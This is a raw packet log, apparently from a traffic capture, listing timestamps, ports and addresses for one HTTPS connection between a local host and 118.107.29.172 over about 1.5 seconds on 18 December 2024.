Dec 18, 2024 13:35:59.017128944 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.017144918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.017184019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.017205954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.017220020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.017245054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.185856104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.185878038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.185929060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.185964108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.185976982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.186064005 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.187868118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.187886953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.187916040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.187933922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.187952995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.187969923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.192893028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.192914009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.192958117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.192975998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.192990065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.193013906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.195413113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.195429087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.195477962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.195494890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.195528984 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.198829889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.198853970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.198885918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.198908091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.198920012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.198940039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.201297045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.201317072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.201364994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.201381922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.201431990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.206700087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.206720114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.206764936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.206787109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.206798077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.206826925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.208555937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.208573103 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.208615065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.208622932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.208637953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.208659887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.378362894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.378386021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.378451109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.378496885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.378509998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.378552914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.380546093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.380563021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.380631924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.380664110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.380701065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.385421991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.385438919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.385481119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.385502100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.385521889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.385540009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.387797117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.387813091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.387851954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.387866020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.387896061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.387909889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.391069889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.391087055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.391191959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.391225100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.391263008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.393668890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.393685102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.393734932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.393755913 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.393791914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.398729086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.398745060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.398827076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.398850918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.398890018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.400855064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.400871038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.400928020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.400943995 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.400980949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.569879055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.569900036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.569948912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.569967031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.569993019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.570012093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.572433949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.572463036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.572506905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.572515011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.572544098 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.572563887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.577864885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.577889919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.577969074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.577979088 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.578003883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.578016996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.580050945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.580069065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.580104113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.580112934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.580144882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.580168962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.583297014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.583321095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.583353996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.583364010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.583395004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.583409071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.585949898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.585968018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.586019993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.586030006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.586066008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.590816975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.590836048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.590879917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.590892076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.590919018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.590938091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.593051910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.593067884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.593122959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.593133926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.593173981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.762183905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.762206078 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.762248039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.762262106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.762284040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.762296915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.765011072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.765029907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.765074015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.765081882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.765115976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.765134096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.769594908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.769613028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.769653082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.769660950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.769689083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.769707918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.772058964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.772079945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.772119999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.772128105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.772155046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.772167921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.775535107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.775552034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.775578022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.775584936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.775594950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.775624990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.778367996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.778386116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.778434038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.778445005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.778479099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.783092976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.783111095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.783152103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.783162117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.783190012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.783237934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.786067009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.786082983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.786129951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.786139965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.786210060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.954521894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.954545021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.954629898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.954672098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.954710960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.956667900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.956691980 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.956732035 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.956747055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.956760883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.956866980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.961936951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.961956024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.962052107 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.962073088 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.962114096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.964257956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.964274883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.964359999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.964370012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.964407921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.967849970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.967866898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.967922926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.967950106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.967994928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.970340967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.970357895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.970411062 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.970421076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.970458031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.975320101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.975337029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.975383043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.975394964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.975418091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.975433111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.977649927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.977665901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.977722883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:59.977731943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:59.977768898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.146776915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.146809101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.146867037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.146903038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.146919012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.146994114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.149013042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.149030924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.149094105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.149123907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.149138927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.149169922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.154046059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.154062986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.154123068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.154160976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.154198885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.156742096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.156759024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.156827927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.156855106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.156888962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.159965992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.159982920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.160029888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.160044909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.160083055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.162488937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.162504911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.162558079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.162569046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.162607908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.171610117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.171626091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.171683073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.171696901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.171727896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.173422098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.173439026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.173496962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.173508883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.173518896 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.173571110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.339289904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.339323044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.339386940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.339428902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.339456081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.341201067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.341267109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.341284990 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.341324091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.341342926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.341356993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.341401100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.346049070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.346071005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.346164942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.346187115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.346227884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.348613024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.348630905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.348830938 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.348843098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.348884106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.351955891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.351982117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.352065086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.352078915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.352118015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.354410887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.354429007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.354496956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.354516029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.354556084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.363213062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.363267899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.363346100 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.363373995 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.363396883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.364514112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.365281105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.365299940 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.365362883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.365380049 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.365400076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.365431070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.531327963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.531357050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.531508923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.531557083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.531598091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.533720970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.533739090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.533802986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.533813953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.533849001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.538408995 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.538429022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.538506985 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.538520098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.538558960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.541295052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.541313887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.541368961 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.541378021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.541410923 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.541426897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:36:00.543875933 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.543903112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:36:00.543941975 CET	49728	443	192.168.2.6	118.107.29.172
